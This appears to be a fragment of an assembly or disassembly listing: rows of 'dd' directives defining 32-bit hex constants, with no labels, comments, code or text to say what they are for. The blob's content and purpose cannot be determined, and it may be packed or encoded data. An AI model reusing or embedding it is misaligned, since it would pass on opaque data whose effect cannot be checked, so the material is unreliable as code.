		dd 0E65E986Fh, 0E603E8C3h, 0EA473D66h, 1C67513h, 0F0AC7FF0h
		dd 67D1CCABh, 0CFE41E00h, 0BEFC72F5h, 92C9008Ah, 74F04A06h
		dd 0DF07CE7Ch, 950F7A34h, 0DCE73B50h, 2E7303BEh, 0B9C19251h
		dd 362B5000h, 5DA1E6D0h, 571007D3h, 0E081EB82h,	333F1E02h
		dd 680E4400h, 0F89740D5h, 4EBD004Ch, 0A4D0B0FCh, 0A016237Dh
		dd 4C002030h, 0BB2F13FFh, 0F0EE004Eh, 256EC28Fh, 0A5007F07h
		dd 95CB1E56h, 7F19A91h,	0BA811267h, 1824768Fh, 0EC923428h
		dd 917CE200h, 2975132Ch, 88A3005Eh, 1F829A6Eh, 35009B6Dh
		dd 0D91A5A7Fh, 463B0h, 4A5FFB5Bh, 3132A0F4h, 0ACC33D00h
		dd 0EAEB2395h, 6DE0008h, 98F7DCEEh, 1500183Fh, 22D6C613h
		dd 79B6C51h, 0AC5A8005h, 5CC5C160h, 1CB45008h, 0EE28C4DCh
		dd 2A008030h, 0C5BA54F7h, 0B0CFC126h, 340D39BCh, 75B37B81h
		dd 20ABDB4Eh, 0D4006CFDh, 2FAFC21Ch, 7E3EA1h, 0B3EF377Fh
		dd 5719D9A9h, 0C2E9761Fh, 98342AC0h, 0F312FDh, 0A40DA0F2h
		dd 0ADE224DAh, 0A81B4500h, 6479382Eh, 597E0F06h, 40C77B7Fh
		dd 0A5A360F4h, 380092FFh, 0D41EB48Bh, 0B93AC0h,	725A9FD2h
		dd 0EF73ECCFh, 4312E67Ah, 690F9909h, 8CF8000Eh,	5AD4Fh
		dd 0FE22EE28h, 0C7B7AC20h, 7DA56E00h, 896958CDh, 27CC00F3h
		dd 77DCE190h, 0C21E4468h, 7CDEF4D4h, 0E83964C0h, 152AFA3h
		dd 4849EB3Eh, 0E4E94563h, 0A7011C47h, 0B1F01899h, 0E0408E93h
		dd 7BEA28C3h, 96080084h, 0A0994CE0h, 78005D46h,	0A562A152h
		dd 7439D289h, 0A2560048h, 0CE821455h, 0A33F2CF6h, 0AD4C80E7h
		dd 71382903h, 0FDDF0006h, 9B9EF7EAh, 110BA5D0h,	813CD945h
		dd 13795FDEh, 68EDCh, 7769F27Ch, 7BAD95D3h, 0DD26C400h
		dd 0D1B2BCC8h, 187776h,	4637E83Dh, 0F5AF58B1h, 0DA4FCC09h
		dd 453B00B9h, 5E2D0Eh, 0E510AC11h, 6A7EB29Ah, 2AD7D301h
		dd 1BC6CCE1h, 934820h, 0A8D64095h, 3EA51945h, 0C832F924h
		dd 0B1CEB300h, 0A9155Dh, 5951CBBFh, 0F7DEBEB9h,	19005EE6h
		dd 0F505EA84h, 73AF1D3h, 60316EFFh, 29CCA09Ah, 39009768h
		dd 0FAC7A927h, 73C92BD5h, 0A5C00B99h, 29800612h, 0A0F79FB0h
		dd 0CD25D800h, 0C8D6F650h, 2AC75F1h, 0E5D42EE3h, 440CC71h
		dd 0BF00A303h, 5A653851h, 15C173h, 3490B6AAh, 0DDA977C5h
		dd 97215700h, 0E559F905h, 0C82F00B9h, 0C10390D2h, 2400A880h
		dd 0B0A66C45h, 0CF1CEBh, 674A7A4Eh, 9650C72Fh, 0C02C7E00h
		dd 70B7FB41h, 92D73108h, 21A705F8h, 77BAC410h, 7873C344h
		dd 89B500B1h, 3F107B18h, 75017169h, 0D122CECBh,	0D0403695h
		dd 5899A9h, 0E5C5D225h,	0FD607E93h, 39FE330Eh, 5AB2609Dh
		dd 24B6E148h, 10F4B0h, 5EC0284Eh, 2009870h, 0F68CCBDEh
		dd 484DBE1h, 8F83E474h,	3C20805Dh, 10F9DFDh, 204A3708h
		dd 831328D2h, 3DC7004Eh, 7278B82h, 0C0002AA7h, 8D32C71h
		dd 0B453FBh, 17455E7Dh,	4C4013AAh, 0A314A400h, 3DA90BC7h
		dd 0CAF6057Ch, 0C3D01FCFh, 0BBEA7E4Dh, 6131C2C0h, 9013A400h
		dd 2C8C8DC6h, 0D7511201h, 73F700F9h, 0F43B70FDh, 0A053B61Fh
		dd 2F141103h, 0E561806Eh, 9742008Ah, 3E6DFFE1h,	0DA01A0D4h
		dd 0C52A1FB8h, 0B2C0689Dh, 9741E5Fh, 950C864Ah,	0C20036F9h
		dd 3BB18EC0h, 2F87C1h, 0B09B845Fh, 0F6517269h, 4738C00h
		dd 0D39A6F80h, 0AC60001Ah, 67C54863h, 8B03EF46h, 7D94AABFh
		dd 3836F034h, 196D078Ch, 22278831h, 94A02584h, 0D2CC1281h
		dd 3D70DD00h, 75862DD0h, 0D3F30C6Bh, 48A8F52Ch,	807420F1h
		dd 18BDE000h, 1086620Ch, 575D1FE9h, 9EF20207h, 18B1D3B9h
		dd 8103EAh, 0A2598A8h, 0B7D85EDh, 0F45C7402h, 43E39C8Ch
		dd 968E088h, 878602FFh,	5C756B4Dh, 480051E3h, 1D5BA30Dh
		dd 0C9B72CAh, 5A4C0EB4h, 2E09F311h, 80960B1Fh, 9DC4F5AEh
		dd 0E440A943h, 0B381DD0Ch
		dd 4D9C0200h, 0E7D214A0h, 6644B7A0h, 0C3B47A00h, 9435CC03h
		dd 62EE014Ah, 405F0E2Eh, 88B0807Ch, 5364E819h, 6DC905DBh
		dd 0BA81B50Ah, 0D125E7C0h, 3DD800A1h, 470DC3F8h, 5D002A43h
		dd 0EAFC1997h, 765CFFh,	1EF80B6Dh, 0CB4427AAh, 0BD8BB20Eh
		dd 0CAD460E3h, 0DC3039h, 0B13C5917h, 8F5F97E5h,	0A0EAD324h
		dd 0DBD41A01h, 0B6E81DBAh, 70160C3Fh, 6FC8A90Eh, 0C8426A00h
		dd 1BF04E54h, 3D83000Bh, 0A0E104A1h, 0E258C122h, 5E7803D8h
		dd 0B0B92E95h, 1C9DB697h, 0E0D9Ah, 7EF92B40h, 920228A4h
		dd 436463FFh, 0E894856Dh, 860302BEh, 98A07FD2h,	89FBE041h
		dd 2762A000h, 0F1B3E319h, 290E62C3h, 622B043h, 229324FCh
		dd 0BEA710A5h, 88F95E88h, 0CC40AB3Fh, 0CB2944C7h, 0EE40D820h
		dd 0EB884049h, 0E410AA42h, 0F86F222Fh, 171F482h, 39FA8CC8h
		dd 0F0676D8Fh, 20F327BAh, 0A201B584h, 35733224h, 16EDCBBh
		dd 3D024ADAh, 17A8FFD5h, 6D001134h, 365DEF87h, 1E959EB4h
		dd 4716F59Fh, 22BE8E1Dh, 34604DAFh, 0DE002D66h,	0D1AA25E3h
		dd 68C4C1h, 35F5BE60h, 0DF5E2340h, 955A6B03h, 0D06FA149h
		dd 2E116179h, 0CA5006h,	2AD63791h, 0FB90B736h, 6D2C9901h
		dd 4B9AA6A4h, 93CDD4h, 829D7A74h, 68BA6581h, 0AFC72007h
		dd 0C30A8F7h, 3EE4ED99h, 8F00E6CFh, 0F21589C3h,	35002AB3h
		dd 0F93DCECAh, 4E38413h, 0C0ED6861h, 0BDC59Ch, 7BD4520h
		dd 851DA179h, 6780A322h, 0DF5CCC55h, 0BE6D0174h, 192B8AAAh
		dd 95BDE4DAh, 9A0033E2h, 0D660B83h, 3BD44Ch, 0F5727A08h
		dd 0B10115D6h, 9C6798A0h, 11AC5E25h, 0CD87A9Ch,	0EE0B01Eh
		dd 518192A3h, 0C8233AA0h, 0B200AF0Fh, 3CB9E7C2h, 3D5E43D5h
		dd 1C844464h, 0C07E2B86h, 0B180A8E3h, 9E7B6C0Bh, 1EE40021h
		dd 29FB637h, 29772443h,	68165Fh, 6D001F87h, 23BE3F5Dh
		dd 0ED4FA67h, 6266D950h, 47BD2500h, 240070C1h, 0CFE53534h
		dd 871DEh, 0CC4F4697h, 0C1137AF9h, 0E64A600h, 77B1EE12h
		dd 7F53FA56h, 0C0940016h, 0B8594654h, 0B300FCA0h, 8B3BA7DEh
		dd 54B5EAFh, 0C7521729h, 43A891C1h, 10E4C8D3h, 54C438h
		dd 0BEE6C587h, 3C206D73h, 0D7AEF9A9h, 32CF4010h, 4F00BAD5h
		dd 42C6ABDBh, 4D1607h, 3AE9CCF2h, 5631934h, 22D02600h
		dd 9B99EFE3h, 0B187007Ch, 0EC241AAh, 1A004585h,	440D1E39h
		dd 39BDC7E3h, 5F80A503h, 0B468270Fh, 47074CA2h,	0C714880Bh
		dd 8C09D2FAh, 0EE2800ADh, 2ED7DE1h, 22C6BCFAh, 0C5E077F2h
		dd 7800A4C8h, 8CCEA6D6h, 0C1BE3h, 0E0EC73E5h, 51A9DA81h
		dd 9EF64A1Eh, 5DEBF880h, 2FE9CB7h, 578CD005h, 30606C38h
		dd 600BCA21h, 2FA54167h, 0BC244090h, 2884EA83h,	398A8C4h
		dd 0E1E267FDh, 1298705Fh, 0D2403A7h, 7C4058A4h,	9ECF42h
		dd 9056D287h, 50F2B895h, 0F5B54900h, 0D4CE20CDh, 0C7DF00B3h
		dd 2B90CC27h, 97384A63h, 0CB348733h, 210188Eh, 77A001B8h
		dd 706C9644h, 0C1F0F317h, 5F55B107h, 62B23515h,	0DCC241B6h
		dd 41D064h, 3A847451h, 0B57279E9h, 7B78AA07h, 3F3091AEh
		dd 0C7F0B3h, 68DDC0E5h,	1230056Bh, 0D8E86107h, 1790A9ABh
		dd 2E169571h, 0BDA68Ah,	992E1D46h, 6A4848B7h, 0B6B10090h
		dd 198D27B5h, 0B44E0F7Eh, 5E207811h, 562C9CF0h,	0A6885D00h
		dd 81D126B0h, 6F010080h, 68A5DA59h, 78007E96h, 4611A40Ch
		dd 0FF6CD3h, 7415428h, 3BB47F94h, 0C6576800h, 0F0AE4632h
		dd 4C710022h, 47957849h, 9300FEF2h, 9DB30AB5h, 2F07CAEh
		dd 2C8627D9h, 0C0C9A4EFh, 3DD1C891h, 54BF400h, 590363DFh
		dd 0FA2F01FDh, 0A6DAA5C1h, 9EC940EEh, 0A000D1E2h, 7640639h
		dd 382B46h, 844B5161h, 12A966C5h, 0B55D5013h, 58032C01h
		dd 16BA53B4h, 0E8A6E403h, 24E08759h, 1100DEC2h,	0F3A26B95h
		dd 1277B2C6h, 20DCE337h, 870C65B4h, 581027h, 0E65C6BA4h
		dd 0B8517FEBh, 0A8410BDDh, 9E8023C9h, 0CEF9E8E9h, 0CFF54306h
		dd 0F808BC4h, 97D4DE0Ah, 5B44F1E3h, 92C66588h, 2AC15300h
		dd 6E499694h, 0B5F700EAh, 312B5493h, 5000D01Ch,	34FF04CBh
		dd 0DFEBBBh, 0C16385CDh, 2660D4B9h, 189FF105h, 0A0001D3Bh
		dd 133896B1h, 1F690095h, 3920823Fh, 1A014FF8h, 0C68905A1h
		dd 0BFCCA4CEh, 40FE00CDh, 0A684E71Bh, 58700124h, 272B300Eh
		dd 77092066h, 1D7B7A71h, 93E3959Fh, 0EACC6093h,	0B600FB6Ch
		dd 0CA23238h, 1DE23F96h, 52176A08h, 0E03C802Ch,	364E951Fh
		dd 8AF15C00h, 0FF42619Eh, 96597034h, 0C40185D4h, 0B7B040FAh
		dd 54174535h, 98B0F274h, 0A31C2101h, 0FFC10814h, 11359440h
		dd 0EA2017Fh, 0F55D4C5Bh, 9418B0FAh, 9E4846Fh, 0E7D07E98h
		dd 0F0EF0Ah, 4821750h, 0D400C683h, 0CB130EF0h, 78F9F711h
		dd 0D56C00F6h, 264156F3h, 580060BAh, 689BF1Ch, 16DDA057h
		dd 0CF6BB4h, 614466D4h,	0E7004B65h, 0C3DAD4B0h,	0A4C4B1h
		dd 328FE47Ch, 1DFA4AA9h, 0FE3DA101h, 64051AB0h,	6A0DC9C3h
		dd 4D6430h, 0F69B93B7h,	8FB83978h, 3FDFB048h, 0E3F880B4h
		dd 1859FFCFh, 355FE93h,	0B6F11402h, 11987C09h, 0BF00E7C3h
		dd 62BEB9ECh, 4D975AE1h, 2E006412h, 0D45BFA7Ch,	2901849Ah
		dd 0C1463A87h, 77D49C6Bh, 0DC5F0070h, 0B5D175EBh, 10041BDh
		dd 63921C8Ah, 9F605BEh,	6062C77Bh, 1E854D85h, 0A5DD3E4h
		dd 0EC0700h, 6D8E1266h,	0AFEADE4Ah, 20F7890h, 0A0B7390Dh
		dd 446C0A75h, 0A99E0078h, 0D8BC64B8h, 0B5007B43h, 7951080Fh
		dd 0BEF303h, 6E132031h,	814CBD27h, 63C7C905h, 6490D088h
		dd 59B1C218h, 623A9C29h, 533A1580h, 0AB6A75DEh,	0DA54E701h
		dd 58CD6CE9h, 5F288D8h,	7FE33BC9h, 80E0952Fh, 598E616Ch
		dd 1E52B548h, 0A847128Fh, 40B7004h, 24C0CB04h, 25DC7BEh
		dd 7DA5548Ah, 8440B6ECh, 3400D3D2h, 7735020Eh, 12E64768h
		dd 41BFC2Ah, 802E89B8h,	0AD034D7Bh, 0F87A1801h,	73E640C2h
		dd 70D13C64h, 477D0011h, 43FF3A13h, 5F001C28h, 0D8714A8Fh
		dd 15C7499h, 1A9DA11Eh,	20405549h, 7A046BB8h, 89A343BBh
		dd 0D49488h, 71D0B7B6h,	3CFE7888h, 87ABC81Fh, 9827CEC7h
		dd 3F83CA60h, 1E522639h, 0D4060067h, 7C95B79Ch,	16D5BA03h
		dd 0C0B45404h, 0FACF0B8Ch, 0D391000Ah, 0C9930397h, 0BC079AD1h
		dd 8F81D95Ah, 0A8482020h, 5EEA00C3h, 0CD6D95D8h, 0EB007156h
		dd 6443F2C1h, 172F6630h, 11F75Bh, 0EC05812Fh, 787F737Bh
		dd 0F3EBF200h, 0DC49BF1Fh, 35082427h, 0B8803CF0h, 187DC595h
		dd 6F025EF7h, 0D674D4C9h, 1A5848A8h, 428D006Bh,	0DB81647Bh
		dd 0FA0016CFh, 61B9799Ah, 24D72268h, 8048C773h,	9E84E52Dh
		dd 9B03EF29h, 9CF08DBh,	0C0BFB767h, 429506A4h, 521309C0h
		dd 65808255h, 0A22B78EBh, 96B4D903h, 0E89131EAh, 148E2E0Ah
		dd 0C444693Ch, 0CB143F09h, 0B1927CA3h, 9C23A698h, 50BFB45Ch
		dd 7A28795Eh, 7B3CB070h, 8678800Ch, 0E1E6273Bh,	80D00702h
		dd 909B7E06h, 0AB098B77h, 78050AF0h, 7F42A914h,	83D21880h
		dd 0B4927Ch, 1A9B394Fh,	0D3951BF1h, 7AA84216h, 920F8C0h
		dd 0EED60076h, 0C77E4A6Ch, 4E2B6ACh, 0B3BD2B00h, 90B154B5h
		dd 68D60757h, 80CECBCFh, 0A6311B7h, 810A43F6h, 9C5CF2B5h
		dd 0E0A42287h, 90A183B5h, 1774D4h, 51BA686Ah, 6F946C28h
		dd 0C60090FCh, 6967029Dh, 16E6BB5h, 4D015CEFh, 70A1ABDBh
		dd 0D95C3786h, 0C9B60334h
		dd 0E6424556h, 49ED0E3Ch, 4A208438h, 2E8BF574h,	0D2678506h
		dd 0F7E7551h, 42A71BA8h, 4B8214E0h, 0EF00C1F0h,	9828F499h
		dd 778B2978h, 0B19D30BAh, 50DB03D0h, 595DC27h, 0EC831FCCh
		dd 98CC0016h, 8C0C4A51h, 0EBE4DFA5h, 0E588C400h, 1753BCCFh
		dd 6A040019h, 989BF7DDh, 501491C1h, 3285D444h, 0C6A75103h
		dd 65F30174h, 0C6529261h, 2F953004h, 0BCBADC07h, 45609C63h
		dd 0E722F3h, 78D81762h,	45515E4h, 4D839B01h, 2D350EC2h
		dd 0AC31D140h, 0D7A3037Fh, 58BB0D32h, 9BA03690h, 0CD2ED3B0h
		dd 4A00CCE0h, 3C443AD1h, 0F6F23E87h, 97E2E580h,	102E3B9Bh
		dd 90D72A00h, 0B4B83751h, 2904008Fh, 0D9C878B2h, 42261CAEh
		dd 0E00F423h, 3C7A5EFEh, 66F089h, 285020C6h, 9EA374Bh
		dd 3359C02Ch, 608ECB0Eh, 0AB7A2556h, 0F1D900FEh, 0BA8020E8h
		dd 8079D87h, 0DFF658AFh, 66DC2180h, 0F42D07A5h,	0C0867EE1h
		dd 40CA0E95h, 0D249D305h, 9100CBD6h, 73CFAE1Ah,	165F00F4h
		dd 0AB859E75h, 0FF0074F8h, 493D0E3Ch, 0AD07F6h,	0E424BC8Ah
		dd 0F187CB1Dh, 0D5F3A501h, 4B186D4Dh, 573004C1h, 54770099h
		dd 37823A0Fh, 0B7CD9F0h, 5F364F2Ch, 84CA0800h, 340E6F9h
		dd 24143090h, 0FBF85F72h, 0F100FD39h, 11A102DEh, 0C5E018h
		dd 0B9A755ADh, 0DF01D6F7h, 3F358C00h, 29615105h, 0F5310724h
		dd 77B025Fh, 2D006964h,	0D29B30FAh, 0B2781500h,	8C84ECEBh
		dd 12B8A15Ch, 0CAB960C6h, 26400F3h, 6983AAB1h, 5F0038AEh
		dd 22556D66h, 5EB1C7Fh,	8C8A407Ch, 0D7A800AAh, 0E1320DABh
		dd 0A9DC1009h, 241D0098h, 55EE54h, 996EEB67h, 0C609B749h
		dd 3D52900h, 81DD9C14h,	0C11C007Bh, 0FBFCB44Dh,	0B926FE18h
		dd 0E900450Eh, 1C069CA9h, 9CFF6A51h, 0C803924h,	8D866943h
		dd 5C03A3F4h, 4C6157D4h, 291DF0F0h, 7405825h, 0B98E0074h
		dd 0E922F212h, 794C96B2h, 0BFE8000Bh, 404F5945h, 0C3871606h
		dd 26140028h, 0D8370A8Eh, 8493803h, 0A0C060FFh,	156F439h
		dd 0FA41A20Ch, 0C8AA588Ah, 400FE92h, 0A4909E55h, 0A06730h
		dd 0A5234083h, 1EACC599h, 0BD0FC6FCh, 877CE419h, 61D1143Ch
		dd 0D971AA79h, 3ACCFC00h, 9DD60008h, 7C3CE6F8h,	382617FCh
		dd 823AF276h, 0AAEE8156h, 1558401Dh, 49BA000Ch,	0BCDCB22h
		dd 630035A2h, 513B3AF1h, 2773A53Dh, 0BC7618A9h,	420A0713h
		dd 813BFCFBh, 2662428Ch, 0F850155Bh, 1CF32D5h, 189037F9h
		dd 0F94080EAh, 5634D4A6h, 0BC3CBE1Fh, 3E1B7BC0h, 0A151CA16h
		dd 48E80FC0h, 14244942h, 0E2C50407h, 83B4574Ch,	1800215Ah
		dd 96635B44h, 0BEE441h,	2FFB47B7h, 43ADF0Ah, 0FEF857B8h
		dd 0ADF5E200h, 2EDA5903h, 0BCA41217h, 0A71700FBh, 8BB64A69h
		dd 53C7100h, 601B9194h,	2EEE004Dh, 0E8761007h, 21128C14h
		dd 1C003B52h, 0B7C972A2h, 485B1C08h, 408A85B4h,	0B0B2C782h
		dd 0A6F2B03Ah, 1CE63126h, 424A9E00h, 0F4CD17h, 0F964CED9h
		dd 33200DE8h, 0D98057B8h, 2700EC98h, 10FA79B2h,	0F38EF9h
		dd 6F44BA4Fh, 3D2FE81Bh, 89DAC33Bh, 7EA1387h, 0FBC0F858h
		dd 60D383h, 0A83D5FE9h,	58E1B722h, 8F13C87Bh, 0C90026B3h
		dd 1C10FCBEh, 0A6B80B0Ah, 0A601E784h, 0F570B1A3h, 9801F3C7h
		dd 0E4029957h, 62F6F54Ah, 0F8DDC019h, 0C74C00DDh, 67BD8155h
		dd 3700913Bh, 9A085833h, 0C14A02h, 0CB11B5C4h, 8662E363h
		dd 84DBED00h, 0FC3494CFh, 7829804h, 0E1DF9C20h,	2E70048h
		dd 0DDF09D6Ah, 78489948h, 1BF28278h, 3407847Eh,	2D79F67Ah
		dd 315B04E0h, 528601A7h, 5C46E364h, 0EBE43058h,	0FE99C60Ch
		dd 0DD78FCh, 1C6E4DD7h,	0C1219514h, 0A9E70F01h,	2983A51Bh
		dd 9CE36095h, 0FA2AAE06h, 8DF02004h, 1A948E03h,	602C0241h
		dd 85FFD828h, 30D0B52Dh, 0FA5F1D84h, 0EB833030h, 88893295h
		dd 0EC41D838h, 8605C529h, 0B4908551h, 3A300039h, 0DDA2ABA4h
		dd 0F700CF3Ch, 0B121DC66h, 32DB6D3h, 2882C62Bh,	90807AACh
		dd 2900FDF7h, 0FB3DD212h, 9D7E11h, 4868DB06h, 0D97F8AD6h
		dd 0A01F3100h, 0ED96D7B6h, 0E5E1307Eh, 0D06070D9h, 4C3F1203h
		dd 0FAE947h, 567E0B19h,	26B82F18h, 78DA621Fh, 0A2B286BEh
		dd 1D8F982h, 6C6AE83Fh,	88762A1Eh, 0CAC48F0h, 8E49FBEDh
		dd 0EBEA7D00h, 6514AA30h, 9E223035h, 0A8CAA9E8h, 0E84FAC01h
		dd 9A2B8A53h, 4EC1EC80h, 54FBB481h, 0C80075E4h,	0A263CAD1h
		dd 7D9EF977h, 9C0C54B6h, 11E61FEEh, 0DD0E80E2h,	0E16DD2CAh
		dd 5F864400h, 4E0A8943h, 6057750h, 0E7F4BFB2h, 6E0099DCh
		dd 2677AD03h, 6D1D50h, 168FFDF3h, 0A85F5410h, 1B660703h
		dd 9D569205h, 381DE4F0h, 0FB8E2A5Bh, 64C09184h,	6C292686h
		dd 0F203CA98h, 0FF6BC04h, 36FDA02Bh, 0A8BDE14Ch, 0E30A053Eh
		dd 8090EE87h, 71706FF8h, 42E83133h, 5F08A01h, 7C81D12h
		dd 4D635E0h, 6286E769h,	310C90C5h, 0BA58204Eh, 0D3990F3Dh
		dd 0EB5E65FFh, 0B767CC0h, 0C18303D8h, 65082A25h, 0DCC4F7C0h
		dd 29795B07h, 0EE30CDBCh, 792D215h, 0AB4F4722h,	5D0E0176h
		dd 1982EC8Ah, 287B9900h, 30D4A323h, 0F5E100A1h,	0D886CE0Fh
		dd 8CCDD8Bh, 0F4CA2116h, 0B96F04E1h, 0C0D91AADh, 0A8F06C86h
		dd 0B0A46500h, 548E1D23h, 8331DC27h, 247AA6ADh,	6BFB0CE0h
		dd 1D8CD239h, 0D400B141h, 85EC1A10h, 1EA3E811h,	408BF918h
		dd 43F62CABh, 72000DB9h, 1D417F08h, 0C0D5388Dh,	2DA45B28h
		dd 260ED1AAh, 7B17085Ch, 0A3510020h, 0FB526653h, 230CECF4h
		dd 203AB2F8h, 6A340057h, 2426DBF0h, 80E90458h, 544BC418h
		dd 1BA5EA7h, 128F50D0h,	80B5CB8Ch, 0A2940AD0h, 71AA6A6Dh
		dd 3BBA1ED2h, 541DFFh, 9874D3A7h, 0FC00A1FBh, 68C7717Fh
		dd 0CDB86Bh, 5E4C646Eh,	0CF1140ABh, 0D3F58B00h,	3DAF3CA4h
		dd 0BC7600E6h, 31B596F7h, 0EEECE872h, 0A5FA102Ch, 1A028100h
		dd 243B8Eh, 0E299D211h,	8CF6BE8Ah, 0A2DE5300h, 0CA9FEA27h
		dd 864C001Eh, 3BBD8223h, 2F001BBBh, 5C0C3A0Eh, 3D67E046h
		dd 8E800A98h, 0A656E40Fh, 6400332Bh, 836396Dh, 2EB963h
		dd 854F5534h, 69D78F94h, 0C6DB3C07h, 0CA408C4Bh, 151C9D50h
		dd 49A114Eh, 0A56894B8h, 4D780448h, 3ED0F810h, 0C302089Ah
		dd 0C444A619h, 0A182DC20h, 4E1D1D2Fh, 1C9514A8h, 0EC51747Ah
		dd 3E09788Ah, 2054A653h, 0CDF821h, 0A8CC0B55h, 0A0CB95F2h
		dd 9A1D1CDh, 703450A0h,	4C515021h, 3369DD15h, 19141078h
		dd 791C97D0h, 1F90A452h, 502B9528h, 34500834h, 8152960h
		dd 101704A1h, 0A183AB02h, 714486AFh, 9A3EDC9h, 25950128h
		dd 0A1949739h, 0B20D0C08h, 32F111A0h, 29144C43h, 0BC401720h
		dd 0AFC05052h, 67BAB852h, 0EAAE7001h, 5C12A3F2h, 0CCE97050h
		dd 929A0E57h, 0EE8D10FFh, 90FC0B08h, 7BB1BE04h,	1014F7C0h
		dd 30C02DEh, 5B170A08h,	0B136E8D3h, 510F03D2h, 0A4B2AE4Ah
		dd 0D68F4100h, 286B127Dh, 199A6040h, 0D5AB4EF1h, 510B38CCh
		dd 1839490Dh, 0B010181Dh, 132BF449h, 9D6FEE00h,	78DE8493h
		dd 0C67C309Ah, 4D4CB061h, 11C0CBE6h, 0F2B589B2h, 0F40B3C18h
		dd 39343E28h, 70B01324h, 5B716748h, 0DAF92F07h,	0C8B51A5Fh
		dd 0E3F7D287h, 0C586E04Fh, 315BB59h, 999D2827h,	0A906A148h
		dd 0CC08804Ah, 0C8072008h, 0DCAEA0Ah, 48B38CB1h, 0A7093CA6h
		dd 0E24FD300h, 0C5210654h, 99003BFEh, 9A4A7997h, 1EBADE26h
		dd 3F0CB3D6h, 6722CA00h
		dd 1B3B1CDBh, 102DFF26h, 98A1B147h, 8C406936h, 601641B5h
		dd 7D96E8DBh, 9906C9BDh, 0B0D51D67h, 0D3BB1E89h, 44AEDF25h
		dd 809A3722h, 9DBED09Ch, 3D51B0Ch, 0B8812893h, 4B8A2A0Bh
		dd 7C88ECC0h, 104A0CC7h, 2538586Fh, 9478BCF6h, 93BECB03h
		dd 40AB8A1Ch, 0C0A67068h, 8C52A708h, 0D090CD1Dh, 0C0AF1430h
		dd 12558EF2h, 693C899h,	21CB8704h, 0B00E2728h, 0BB804D18h
		dd 50F322A1h, 80EEACCAh, 0F890F8F6h, 1A682E00h,	72EAF21Fh
		dd 1CAB1912h, 248E5019h, 0A8AE9954h, 8458B080h,	544E0803h
		dd 0F27513ABh, 0C0384997h, 2B4AC181h, 4BA9E5FEh, 110E23B8h
		dd 0B3F908D0h, 60B400B1h, 0A8CAF41Dh, 0E5EB6E00h, 0F8869735h
		dd 9CD504FAh, 82BC7D4Ch, 23206020h, 2876B79Bh, 60A4AECBh
		dd 1F0BD03Bh, 4C079DDCh, 41374365h, 249ADBF0h, 0D8B26006h
		dd 0CA071CDFh, 4FC9271Ch, 0B18C9581h, 50240DAFh, 0ED00E7B4h
		dd 663010AAh, 21F27009h, 0C4BC4C40h, 4A522785h,	8784AFB8h
		dd 4FEE3AD0h, 94B119A4h, 47D81DD0h, 958F1497h, 0DA8C2C99h
		dd 10736740h, 7FF2B98Bh, 920D0C99h, 1C438195h, 1882ECBBh
		dd 62302A58h, 0DC4A9FE1h, 96AE2C80h, 9950C212h,	4080F34Ch
		dd 0C0318BA9h, 9CF1F10Fh, 77E39007h, 3042405h, 0AFA4AAB7h
		dd 1D5903AFh, 4010CEECh, 1C1CA596h, 4FBBC1F7h, 41DB0E19h
		dd 0B8CF0748h, 73A6A228h, 9E8C28DFh, 0AE4243Ch,	58CA1488h
		dd 0E1C79583h, 0F54690A6h, 6EBC193Fh, 8F3B1B80h, 0ADE19961h
		dd 9ADF1D18h, 0E2580580h, 64B0C09Ch, 0AB17321Ch, 0B82A0F24h
		dd 39569880h, 18FFA1F3h, 79B91049h, 1A0A57B0h, 94C6B39Ah
		dd 0AC0A34A8h, 0B0DF8A1Bh, 324AE164h, 0A34A8DCh, 0AC13087Fh
		dd 7E92E4h, 0BB154E37h,	990EDF1Eh, 0CFE4682Fh, 100640D9h
		dd 90C97D16h, 5CA8440Ch, 53288E3Ch, 54112E8Ch, 0DCD6702h
		dd 2F206947h, 1854A7F8h, 0B9CE7B93h, 0C039C9B3h, 8030FE90h
		dd 0EABA10E9h, 19510EF6h, 0E1491CD5h, 0F0F7C819h, 27301D54h
		dd 530C10ACh, 0B45B12D7h, 24105F4h, 0F9C8090Bh,	0ACE92480h
		dd 0CF002BB2h, 1DD66DA8h, 5838FD76h, 30BA8095h,	39B211E6h
		dd 78DE48D1h, 67102E03h, 97D892F2h, 99588789h, 0E0097E68h
		dd 8FADDEFAh, 5D9C831Ch, 49AE133h, 60923C60h, 4B675993h
		dd 51C4C20Dh, 4244816h,	4BB940BCh, 0F16404E9h, 0B1D0420h
		dd 0B75F932Eh, 0CB811401h, 0CC3480E0h, 40E589B2h, 0AF47B34h
		dd 90A0C0C2h, 25C528Ch,	0E6A201FEh, 8CC073BDh, 70A6CD22h
		dd 3215B3Eh, 32BABDB2h,	8D579914h, 0C82D0AD0h, 978038E8h
		dd 61645CAh, 92EDE655h,	6511F91Ch, 18B831E6h, 0E702154Ch
		dd 36B2E111h, 35E88456h, 0EC865890h, 3E0A48Bh, 16A35D67h
		dd 0A8007405h, 4D7D4F1Bh, 5D0E369Bh, 81AEB4C5h,	31216FAFh
		dd 72B0044Fh, 73077824h, 20EACE14h, 11BE27C0h, 0CB850042h
		dd 5F49816Fh, 3D010B99h, 0D9201AEBh, 27C41E14h,	291264DCh
		dd 32BE213Bh, 3710B512h, 78578896h, 8920B288h, 44330881h
		dd 11F7234Ah, 7D1078D0h, 1E1C1DE6h, 6940347Eh, 0AE96FC5Ah
		dd 0AA8A009Fh, 16D83CBh, 0A6033777h, 52BC264Dh,	1C1600E2h
		dd 799BE043h, 0AD00A722h, 0DC1487B0h, 9D2495h, 0E9149BDh
		dd 3D77D9BFh, 0E7CC2903h, 0E8BE7BDEh, 7D6146D2h, 0A3DF0090h
		dd 4542FB7Ah, 0F530EAC7h, 8A0C76E2h, 37300D1h, 0E5C19EAAh
		dd 67982851h, 2BDBFB00h, 13B38FAh, 9BBF018Eh, 0C25AFE2h
		dd 0FFC0E834h, 56EEE3E2h, 0AAD2760Fh, 6EA14028h, 60E61970h
		dd 0F75919FAh, 9B004B5Ch, 602F99Ah, 0AE1B65h, 0F244D184h
		dd 0ED95B978h, 0BD359E00h, 0C8E30886h, 0F5741CB3h, 93E74085h
		dd 71D8A5FAh, 0C641FE02h, 48F024C4h, 3A3704h, 1AFF2826h
		dd 8B74B10Ch, 2E09DC00h, 1503BC64h, 90BE007Fh, 56F73EE2h
		dd 70007BD0h, 383FD273h, 1ED9675Ch, 803A016Bh, 9AB8612Ah
		dd 17001581h, 98C10351h, 0C76C744h, 0DFCC8F7Fh,	624954A0h
		dd 2A577140h, 0AF8FB8h,	0FF03144Dh, 4AF400EDh, 0CB23F6B8h
		dd 3100A402h, 0F1FAC805h, 75ABC8Eh, 0A00A759Dh,	44B9C04Eh
